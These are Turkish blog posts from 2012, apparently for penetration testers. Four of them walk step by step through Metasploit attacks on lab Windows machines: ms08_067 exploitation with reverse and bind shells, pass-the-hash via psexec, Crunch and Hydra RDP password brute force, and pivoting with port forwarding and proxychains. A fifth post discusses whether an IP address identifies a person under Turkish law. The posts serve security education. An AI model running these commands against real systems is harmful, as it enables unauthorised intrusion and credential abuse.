29 Haziran 2012 Cuma

Meterpreter Port Forwarding ile Bağlantı Sağlama Yöntemi





Amaç:

Saldırgan ile B makinesi arasında kurulan meterpreter oturumu sayesinde A makinesinden erişimi olmayan C’ye RDP bağlantısının gerçekleştirilmesidir.

Güvenlik testlerinde hedef sistemde ele geçirdiğimiz makinelerin haricinde aynı networkte bulunan diğer makinelere de bir şekilde bağlantı kurmak isteriz. Bunun çeşitli yöntemleri bulunmakta. Pivoting yöntemini ve sonrasında yapılabilecekleri linkteki yazımızda detaylıca anlatmıştık. Burada anlatacaklarımız port forwarding yöntemi ile A makinesininin C makinesine RDP bağlantı kurmasıdır. A makinesi bunu yaparken Saldırgan ile B makinesi arasında bulunan tüneli kullanacaktır.

Şimdi konuyu analiz ederek başlayalım. İlk adımda B’de bulunan güvenlik açığından dolayı Saldırgan makinesi B ile oturum açmayı başarmıştır. Şu ana kadar her şey yolunda. A makinesinin C’ye bağlantı kurabilmesi için öncelikle 10.1.1.0/24 networkunu tanıması gerekmektedir. Bunun için meterpreter üzerinde routing yazılacaktır. Fakat bu işlem sadece Saldırgan makinesi için erişimi tamamlayacaktır. O halde A makinesini C’ye Saldırgan üzerinden eriştirelim. Evet kulağa hoş geliyor. Eğer Saldırgan üzerinde hedef networke doğru bir port yönlendirme yaparsak C ye erişmiş olacağız. O halde şimdi sırasıyla işlemleri uygulamaya başlayalım.

Not: Saldırgan, B ile meterpreter oturumu kurarak B’yi ele geçirmiş oluyor. Bu bölüm ayrıca anlatılmamaktadır.

meterpreter > background
[*] Backgrounding session 1...

Oturumu background komutu ile arka planda tutarak erişimimizin olmadığı 10.1.1.0/24 networku için route eklemesi yapıyoruz.

msf  exploit(ms08_067_netapi) > route add 10.1.1.0 255.255.255.0 1
[*] Route added
Metasploit üzerinde bulunan TCP scan modulü ile hem C makinesine bağlantı kurup kurmadığımızı hem de açık portları tespit edelim.
msf  exploit(ms08_067_netapi) > use auxiliary/scanner/portscan/tcp
msf  auxiliary(tcp) > set rhosts 10.1.1.130
rhosts => 10.1.1.130
msf  auxiliary(tcp) > run

[*] 10.1.1.130:139 - TCP OPEN
[*] 10.1.1.130:135 - TCP OPEN
[*] 10.1.1.130:445 - TCP OPEN
[*] 10.1.1.130:1025 - TCP OPEN
[*] 10.1.1.130:3389 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf  auxiliary(tcp) >


Yazdığımız route sayesinde 10.1.1.130 IP’sine erişebildiğimizi gördük. Ayrıca 3389 portunun da C makinesi üzerinde açık olduğunu tespit etmiş olduk.
Böylelikle saldırganın C’ye erişimini de sağlamış olduk. Şimdi sıra geldi A makinesini saldırgan üzerinden C’ye yönlendirmeye. Bunun için meterpreter üzerinde portfwd komutunu kullanarak lokal 4445 portunu 10.1.1.130 IP adresinin 3389 yani RDP portuna eşleştiriyoruz. Bu komut sayesinde saldırgan makinesinin 4445 portuna bağlantı kurulduğunda tünel üzerinden C makinesinin RDP portuna erişilmiş olacak.
Sessions –i 1 komutu ile arka plana attığımız oturumu tekrar alıyoruz.

msf  exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

İlgili port yönlendirme komutunu giriyoruz.

meterpreter > portfwd add -l 4445 -r 10.1.1.130 -p 3389
[*] Local TCP relay created: 0.0.0.0:4445 <-> 10.1.1.130:3389

Ve şimdi sıra geldi A makinesinden C’ye RDP ile bağlanmaya. Yukarıda yazdığımız port yönlendirme komutuna istinaden saldırgan makinesinin 4445 portuna RDP bağlantısı gerçekleştiriyoruz.

root@GG:~# rdesktop 192.168.183.226:4445 -u Administrator
WARNING: Remote desktop does not support colour depth 24; falling back to 16

Şekilde de görüldüğü gibi başarılı bir şekilde C makinesine RDP bağlantısı kurmuş olduk.






-GG




26 Haziran 2012 Salı

Kanunlarımızda IP adresi bir kişiyi tanımlar mı?



Linkedin üzerinde oluşturulan Bilişim Hukuku grubunda başlatılan bir tartışma hakkında konuşulanları toparlamak istedim. Tartışma, kanunlarımızda IP adresinin bir kişiyi tanımlayıp tanımlamaması ile ilgili. Bu tür konular hakkında çok fazla bilgi kirliliği olduğunu düşündüğüm için uzmanların fikirlerini burada paylaşmak istedim. Hem bu şekilde gruba erişimi olmayan kişilerde faydalanmış olacaktır. 

Öncelikle IP adresinin atanmasıyla alakalı teknik bilgiyle başlayalım. IP adresi internet servis sağlayıcılar tarafından ağ yönlendirici cihazlarına (modem/router) atanır. Bu atama işlemi dinamik ve statik olmak üzere iki şekilde yapılır. Dinamik olduğu zaman yönlendiricimizi her kapatıp açmamızda ve/veya belirli zaman aralıklarında IP adresimiz yenilenir. Bu şekilde yenilense dahi internet servis sağlayıcısı tarafından IP adresinin hangi internet abonesine hangi tarihlerde atandığı bilgisi tutulur. Diğer bir yöntem olan statik atama işleminde ise ağ yönlendiricilere atanan IP’ler hiçbir zaman değişmez. Bu, özellikle kurumlarda tercih edilen bir yöntemdir. Tüm bu IP’ler gerçek IP olarak adlandırılmaktadır. Yani atanan bir IP sadece size aittir ve tüm internet ağında sizin adınıza dolaşmaktadır. Bir de lokal IP kavramı vardır. Bu da ağ yönlendiricilerine bağlanan bilgisayarlarımızın aldığı IP’lerdir. Örneğin, bilgisayarımızdan www.google.com adresine gitmek istediğimizde lokal IP’miz yönlendiriciden geçerken gerçek IP’miz ile değişecektir. Google’a sorgu yapan IP adresi servis sağlayıcısının bize atadığı gerçek IP olacaktır. Buradan özellikle şu sonuç çıkmaktadır; bir gerçek IP adresi arkasında birden fazla kullanıcı olabilmektedir. Özellikle çok kullanıcılı kurumlarda web adreslerine son noktada kimin eriştiğinin tespiti yapılamamaktadır. Burada kurum içinde trafiğin takibi için 5651 sayılı kanunun gereksinimleri uygulanarak trafik loglanmalıdır.

Gerçek IP adresi gibi kişiye özel olan bir de MAC adresi vardır. Her kullanıcının MAC adresi birbirinden farklı olduğu için www.google.com adresine bağlanan kişi MAC adresinden tespit edilemez mi sorusu akıllara gelmektedir. İnternet protokolünün çalışma mantığına göre paketler yönlendiriciler üzerinden geçtikten sonra geçtiği yönlendiricinin MAC adresini bir sonraki yönlendiriciye taşırlar. Kullanıcının MAC adresi sadece kendi yönlendiricisine kadar iletilmiş olur ve bu yüzden MAC adresiyle tespit edilemez.

Verilen teknik bilgilerin ışığında IP adresinin bir kişiyi tanımlayıp tanımlamadığını tartışalım. Internet servis sağlayıcılarıyla yapılan hizmet sözleşmeleri ile yönlendiricimize atanan IP’ler ismimiz ile kayıt altına alınıyor. Bu durumda bu IP’lerden yapılan her işlemin bizim tarafımızdan yapıldığı kabul ediliyor. Fakat yasal olmayan yollarla yönlendiricimizin üzerinden suç işleyen kişiler olabilir. Kablosuz ağımızın güvenliğini kırıp yine bizim IP’miz üzerinden suçlara karışmış kişiler olabilir. Bu yüzden IP adresimiz üzerinden işlenen suçlarda IP tek başına yeterli bir kanıt olarak görülmemelidir. Bu tür ihtimaller olabileceği için karşı tarafın ispat yükümlülüğü devreye girecektir. Grup üzerindeki tartışmada Sn. Avukat Ceyda Cimilli Akaydın durumu şu şekilde ifade etmiştir. Olduğu gibi alıntılıyorum.  

Ceza hukuku'nun temel prensiplerinden birisi şüpheden sanığın yararlanmasıdır. IP numarası hangi kullanıcıya atanmış IP adresinden işlem yapıldığını belirler ama teknik kişilerin çok daha iyi belirttikleri gibi, uzaktan erişim, kablosuz modeme izinsiz bağlanma vb. pekçok yolla aboneye atanan IP adresinden abonenin haberi olmadan işlem yapılabilir. Ceza hukuku açısından aboneye internet erişimini korumak gibi bir yükümlülük veya abonenin bağlantısı kullanılarak yapılacak işlemden her halukarda sorumlu olacağına ilişkin bir hüküm, veya özel hukuk açısından bakarsak ispat yükünü değiştiren bir karine yoktur. Özel hukuk açısından hayatın olağan akışı içerisinde IP nin atandığı kişinin fiili yapan olduğu kabul edilemez çünkü bu yasa dışı eylemler yapanların kendilerine atanmış IP leri değil yasa dışı yollarla elde ettikleri başka IP leri kullanmaları genel eğilimdir. Dolayısıyla IP nin atanmış olduğu abonenin suçu işlediği şüphelidir ve bundan sanık yararlanmalıdır. Başka delil yoksa ceza hukukunda sanık delil yetersizliğinden beraat etmeli, özel hukuka ilişkin işlerde ise karşı taraf ispat yükü altında olmalıdır.”

Sonuç olarak ev kullanıcıları için suçun işlendiğine dair kuvvetli deliller olması gerekmektedir. Kurumlar tarafından işlendiği iddia edilen suçlarda ise kurum çalışanlarının trafik kayıtlarının tutulduğu sistemlere bakılmalıdır. Aksi takdirde kurumlar için istenmeyen sonuçlar ortaya çıkabilecektir.


-GG

25 Haziran 2012 Pazartesi

Password Hash’i Elde Bulunan Sistemlerde pass-the-hash Tekniği ile Oturum Açma



Hedef makine ile oturum açabilmek için sadece makine üzerinde zafiyetlerin bulunması gerekmemektedir. Örneğin bir makinenin Administrator şifresinin hash değerini bilmek te tek başına yeterli olabilir. Eğer bu hash değeri kırılamayan bir hash ise işte burada devreye pass-the-hash tekniği giriyor. Yani şifre yerine hash’i kullanarak hedef sistem üzerinde oturum açabiliyoruz. Bunu yaparken de metasploitin psexec modülünü kullanıyoruz.

Öncelikle kullanacağımız modülü ve payload’u belirtiyoruz. Burada payload olarak reverse_tcp kullanacağız.

msf > use windows/smb/psexec
msf  exploit(psexec) >  set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

Kaynak ve hedef makine IP’lerini girdikten sonra show options ile başka hangi bilgilere ihtiyaç duyulduğuna bakıyoruz.

msf  exploit(psexec) > set LHOST 192.168.183.214
LHOST => 192.168.183.214
msf  exploit(psexec) > set RHOST 192.168.183.207
RHOST => 192.168.183.207
msf  exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST      192.168.183.207  yes       The target address
   RPORT      445              yes       Set the SMB service port
   SHARE      ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share

   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.183.214  yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic


Elimizde bulunan Hash değerini SMBPass seçeneğinin karşısına yazıyoruz.

msf  exploit(psexec) > set SMBPass b69037b8b3970c3eaad3b435b51404ee:c524132537feb45e42eb5a4027285ad5
SMBPass => b69037b8b3970c3eaad3b435b51404ee:c524132537feb45e42eb5a4027285ad5

Administrator kullanıcı adını da SMBUser ile birlikte belirtiyoruz.

msf  exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator

Tüm seçenekler tamamlandıktan sonra exploit komutunu girmek kalıyor sadece.

msf  exploit(psexec) > exploit

[*] Started reverse handler on 
192.168.183.214:4444 
[*] Connecting to the server...
[*] Authenticating to 192.168.183.207:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \qEXHClGb.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.183.207[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.183.207[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (VDwmbPgb - "MkLLCNKILeYfkFtjljzPOzlWPc")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Sending stage (752128 bytes) to 192.168.183.207
[*] Closing service handle...
[*] Deleting \qEXHClGb.exe...
[*] Meterpreter session 1 opened (
192.168.183.214:4444 -> 192.168.183.207:1217) at 2012-06-24 19:14:32 -0400

meterpreter >

Görüldüğü gibi hash değerini kırmadan hedef makine üzerinde oturum açmayı başardık. Burada çıkarılması gereken asıl sonuç; oturum açmak için sadece zafiyet gerekmiyor. Metasploit üzerindeki modüller sayesinde sistem hakkında bilinen bilgiler ile oturum açılabilir.



-GG

Parola Kırma Yöntemleri (Crunch ve Hydra)



Parola kırma saldırılarının temelde çalışma mantığı sırasıyla tüm olasılıkların denenmesidir. Gerekli önlemler alınmadığı takdirde kırılamayacak şifre yoktur. Sadece zaman problemi çıkacaktır ortaya. Örneğin linkte şifrelerimizin ne kadar zamanda kırılabileceğini görebiliriz. Bu yüzden mümkün olduğunca karışık ve çeşitli karakterli şifreler vermeye özen göstermeliyiz. Bu arada verdiğim linke gerçek şifrelerinizi sakın yazmayın. Böylelikle site sahibinin eline gerçek şifrelerden oluşmuş güzel bir liste vermiş oluruz. Gerçi şimdiye kadar verilenlerle liste uzamış gitmiştir ama biz en azından kendimizi koruyalım.

Peki parola kırma saldırılarında tüm olasılıklar nasıl oluşturuluyor? Yukarıda verdiğim linkteki gibi zekice bir yöntemle de oluşturulabilir. Ama biz şimdi normal yoldan yani bir tool ile oluşturacağız. Wordlist oluşturmalarda çok sık kullanılan tool’umuzun adı Crunch. Bu tool ile istediğimiz karakterlerle, istediğimiz uzunluklarda şifreler oluşturabiliyoruz.

Öncelikle kurulumdan bahsedelim.

BackTrack’te /pentest/passwords/ dizini altında gelmektedir.
Eğer yok ise apt-get install crunch komutu ile saniyeler içinde kurulacaktır.
İlk listemizi oluşturarak başlayalım.

root@bt:/pentest/passwords/crunch# ./crunch 3 3 ewq -o test.txt

Komutu ile test.txt dosyasına ewq karakterlerinden oluşan tüm olasılıkları oluşturduk. Dosyanın içeriğini cat ile görüntülediğimizde 27 tane şifre oluştuğunu gördük.

Komutta yer alan “3 3” kaç karakterli şifreler oluşturacağımızı gösteriyor. İlk “3” minimum karakter sayısı, ikinci “3” ise maximum karakter sayısını gösteriyor. 3 3 seçtiğimiz için sadece 3 karakterli ihtimalleri listeledi. Eğer 1 3 seçmiş olsaydık liste e, w, q, ew, qw gibi 1 ve 2 karakterli olasılıkları da içerecekti.
-o ise output olarak listenin nereye yazılacağını belirtiyor.

root@bt:/pentest/passwords/crunch# cat test.txt
eee
eew
eeq
ewe
...
..
Crunch dizini altında bulunan charset.lst ile karakter setlerine ulaşabiliriz. Charset.lst’nin bir kısmı aşağıdaki gibidir. Örneğin sembollerden şifre listesi oluşturmak istiyorsak symbols-all seçmeliyiz.

root@bt:/pentest/passwords/crunch# ./crunch 3 3 –f /pentest/passwords/crunch/charset.lst symbols-all -o test12.txt

komutta yer alan –f ile karakter setinden seçmek istediğimiz symbols-all’u belirtiyoruz.

root@bt:/pentest/passwords/crunch# cat charset.lst
hex-lower                     = [0123456789abcdef]
hex-upper                     = [0123456789ABCDEF]

numeric                       = [0123456789]
numeric-space                 = [0123456789 ]

symbols14                     = [!@#$%^&*()-_+=]
symbols14-space               = [!@#$%^&*()-_+= ]

symbols-all                   = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
symbols-all-space             = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]

Ayrıca Crunch ile özel şifreler oluşturmakta mümkün. –t  @,%^ parametreleri ile istediğimiz türden şifreler oluşturabiliriz.

@ küçük harfler için
,    büyük hafler için

% numaralar için
^ semboller için

Örneğin aşağıdaki komut sayesinde test ile başlayan ve son harfi küçük harf olan tüm şifreleri ozel.txt’ye yazdırdık. Burada minimum ve maximum karakter sayısı belirttiğimiz şifrenin karakter sayısı ile aynı olmalı. Yani 4 5 olarak seçemezdik.

root@bt:/pentest/passwords/crunch# ./crunch 5 5 –t test@ -o ozel.txt
root@bt:/pentest/passwords/crunch# cat ozel.txt
testa
testb
testc
testd
..


---Hydra---

Belirlediğimiz kriterlere göre oluşturduğumuz listelerden sonra hydra ile parola saldırılarına başlayabiliriz.  
Hydra ile kullandığımız parametreler;

-l username
-L username.list
-p password
-P password.list

Yukarıda crunch ile oluşturduğumuz test dosyasını burada kullanıyoruz.
Aşağıdaki komutla Username’i Administrator olacak şekilde test.lst listesinde bulunan tüm şifreleri rdp portu üzerinden denemesini istiyoruz.

root@bt:~/Desktop# hydra -l Administrator -P test.lst 192.168.183.207 rdp

Hydra v7.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (
http://www.thc.org/thc-hydra) starting at 2012-06-20 11:13:02
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[DATA] 16 tasks, 1 server, 27 login tries (l:1/p:27), ~1 try per task
[DATA] attacking service rdp on port 3389
[3389][rdp] host: 192.168.183.207   login: Administrator   password: qwe
[STATUS] attack finished for 192.168.183.207 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (
http://www.thc.org/thc-hydra) finished at 2012-06-20 11:13:14

Görüldüğü gibi Administrator kullanıcısının şifresi qwe başarılı bir şekilde ele geçirildi.

Kaynak:


-GG

Erişilemeyen Networklerde Meterpreter Pivoting ile Nmap ve Nessus Çalıştırma







Ortam gereksinimleri:
VMware Workstation
BackTrack 5
Windows Server 2003 SP1

Ortam hazırlıkları:
VMware workstation üzerinde bir adet BackTrack, iki adet Windows Server 2003 SP1 makinesi kuruldu. Kurban-1 makinesi olarak kullanılacak 2003 server’lardan biri iki network interface'li olacak şekilde ayarlandı. Virtual network editor üzerinden 10.10.10.0/24 networku tanımlanarak iki farklı network elde edilmiş oldu. Son durumda Saldırgan makinesinin sadece Kurban-1 makinesine erişiminin olduğu test edilerek senaryo üzerinde çalışılmaya başlandı.

Amaç:
Hedef network’te bulunan Kurban-1 makinesi ele geçirildikten sonra Kurban-2 makinesi üzerinde nessus ve nmap taramalarının yapılıp,  bulunan zafiyetlere göre Kurban-2 makinesinin ele geçirilmesidir.

Güvenlik denetimlerinde ele geçirilen bir makine coğu zaman yeterli gelmemektedir. Bu yüzden aynı networkte bulunan ama erişilemeyen makineler üzerinde çalışmak gerekebilir. Bu gibi durumlarda meterpreter pivoting yöntemi imdadimiza yetişmektedir. Peki pivoting yöntemi bize ne sağlıyor ve nasıl çalışıyor?
Pivot terimi özellikle spor oyunlarında çok kullanılmaktadır. Örneğin basketbolda pivot, pota altında duran genellikle uzun boylu oyuncular icin kullanılmaktadır. Burada pivotun görevi diğer oyuncuların potaya erişemedikleri zamanlarda araya girip topu potaya atmaktır.  Görüldüğü gibi basketbolda olan durum bizim sistemlerimiz içinde geçerlidir. Kurban-1 makinesi pivot görevini üstlenerek bizi diğer hedeflere taşımaktadır. Şimdi bu işlemlerin nasıl yapıldıgını sırasıyla inceleyelim.

NOT: Kurban-1 makinesi üzerindeki zafiyetler nessus aracı kullanılarak bulundu. Bu kısım bu yazıda gösterilmemiştir.

Öncelikle Kurban-1 makinesine nessus taraması sonucu bulduğumuz ms08_067 zafiyetini kullanarak meterpreter baglantısı kuruyoruz..

root@bt:~# msfconsole
msf > use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(ms08_067_netapi) > set LHOST 192.168.1.2
LHOST => 192.168.1.2
msf  exploit(ms08_067_netapi) > set RHOST 192.168.1.42
RHOST => 192.168.1.42
msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.2:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.42
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.42:1030) at 2012-06-22 15:16:57 -0400
meterpreter >

Kurban-1 makinesine meterpreter ile oturum açtık. Bu noktadan sonra Kurban-2 makinesine erişmek istiyoruz. Tüm bu işlemleri mevcut oturum üzerinden gerçekleştireceğiz. Background komutu ile mevcut oturumu arka planada çalışır durumda tutarak pivoting için gerekli adımlarla devam edeceğiz.

meterpreter > background
[*] Backgrounding session 1...

Burada dikkat edilmesi gereken nokta session ID`sidir. Bu session ID (1) üzerinden Kurban-2 makinesine doğru bir route yazacağız. 10.10.10.0/24 networku route listesinde olmayan saldırgan için gerekli routingler yazıldıktan sonra session 1 üzerinden Kurban-2 makinesine erişmiş olacağız.

10.10.10.0/24 networkunu route add komutu ile ekliyoruz. Burada komutun sonunda yer alan 1; Kurban-1 makinesine açmış olduğumuz session ID’sidir. Kısaca 10.10.10.0/24 networku için mevcut oturumu kullan diyoruz.

msf  exploit(ms08_067_netapi) > route add 10.10.10.0 255.255.255.0 1
[*] Route added

Bu noktadan sonra Kurban-2 makinesinde nmap ve nessus çalıştırmak için yöntemler arıyoruz.
Yapmak istediğimiz temel şey lokal makinemizde çalıştırdığımız araçların doğrudan tunel üzerinden Kurban-2 makinesine erişmesidir. Durum böyle olunca akla ilk olarak proxy kullanmak geliyor. Metasploit üzerinde yardımcı modül olarak gelen Socks4 proxy ile saldırgan üzerinden yönlendirilen TCP bağlantıları mevcut oturum ile hedefe gönderiliyor.
Peki saldırgan makinesi üzerinde çalışan nmap ve nessus gibi araçları Socks4’e nasıl yönlendireceğiz? Burada da proxychains tool’u bizden yardımını esirgemiyor.
İlk once Metasploit üzerinde Socks4 konfigurasyonunu yapalım.

msf  exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf  auxiliary(socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.

Burada default port olarak 1080 görüyoruz.

Ve run komutu ile aktif hale getiriyoruz.

msf  auxiliary(socks4a) > run
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server
[*] Stopping the socks4a proxy server

Şimdi sıra geldi proxychains konfigurasyonuna.
Yeni bir terminal açarak proxychains.conf dosyasını bir editor yardımıyla açıyoruz. Burada vi kullanılmıştır. 
socks4  127.0.0.1 1080 satırını ekliyoruz. Sadece port numarası farklı olabilir. Onuda 1080 olarak düzeltiyoruz.

root@bt:~# vi /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4             127.0.0.1 1080

Artık nmap’i proxychains ile Kurban-2 makinesi için çalıştırabiliriz.

root@bt:~# proxychains nmap -sT -P0 -p445 10.10.10.128
ProxyChains-3.1 (http://proxychains.sf.net)

Starting Nmap 5.51 ( http://nmap.org ) at 2012-06-22 21:13 EDT
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.10.128:445-<--timeout
Nmap scan report for 10.10.10.128
Host is up (15s latency).
PORT    STATE  SERVICE
445/tcp closed microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 15.20 seconds

Görüldüğü gibi erişimimiz olmayan Kurban-2 makinesini nmap ile taramayı başarabildik. Simdi nessus ile zafiyet tarama işlemlerini yapalım. Yine aynı yöntemle proxychains ile nessus servislerini baslatiyoruz. Bu sayede nessus`u çalıştırdığımızda proxychains sayesinde mevcut meterpreter oturumu üzerinden hedef makineye doğru tarama baslayacaktır.

root@bt:~# /etc/init.d/nessusd stop
Shutting down Nessus : .
root@bt:~# proxychains /etc/init.d/nessusd start
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nessus : .

Nessus web ara yüzünden hedef makineye doğru tarama işlemini başlatabiliriz.



Görüldüğü gibi başarılı bir şekilde 10.10.10.128 makinesini tarayarak raporu elde ettik.

Dikkat:
Bu arada nessus ile tarama başlatmadan önce seçtiğimiz scan policy`nin altında bazı değişiklikler yapmamız gerekiyor. Socks4 proxy tunneling ile sadece TCP paketleri iletildiği icin policy konfigurasyonu altında Ping Host seçeneğini disable etmemiz gerekiyor. Aksi taktirde nessus ile tarama yapılamayacaktır.


Nessus ile Kurban-2 makinesini tarama yapabildiğimize göre çıkan zafiyetlere göre Kurban-2 makinesine de meterpreter bağlantısı kurabiliriz. Yine ms08_067 zafiyetini kullanarak oturum açmaya çalışacağız. Burada dikkat edilmesi gereken bir nokta reverse_tcp  payload`unu kullanamamizdir. Reverse_tcp payload`u ile trafik, Kurban-2 makinesi üzerinden başlatılmaktadır. Kurban-2 makinesinin routing tablosunda 192.168.1.0/24 networku olmadığı için oturum başlatılamayacaktır. Bu yuzden bind_tcp payload`unu çalıştıracağız.

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf  exploit(ms08_067_netapi) > set RHOST 10.10.10.128
RHOST => 10.10.10.128
msf  exploit(ms08_067_netapi) > set LPORT 4449
LPORT => 4449
msf  exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows 2003 - Service Pack 1 - lang:Unknown
[*] We could not detect the language pack, defaulting to English
[*] Selected Target: Windows 2003 SP1 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (Local Pipe -> Remote Pipe) at 2012-06-22 15:23:50 -0400

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>

Bingooo.. Kurban-2 makinesinede böylelikle erişim saglamış olduk. Ipconfig yazarak doğruluğunu test edelim.

C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : localdomain
   IP Address. . . . . . . . . . . . : 10.10.10.128
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :





-GG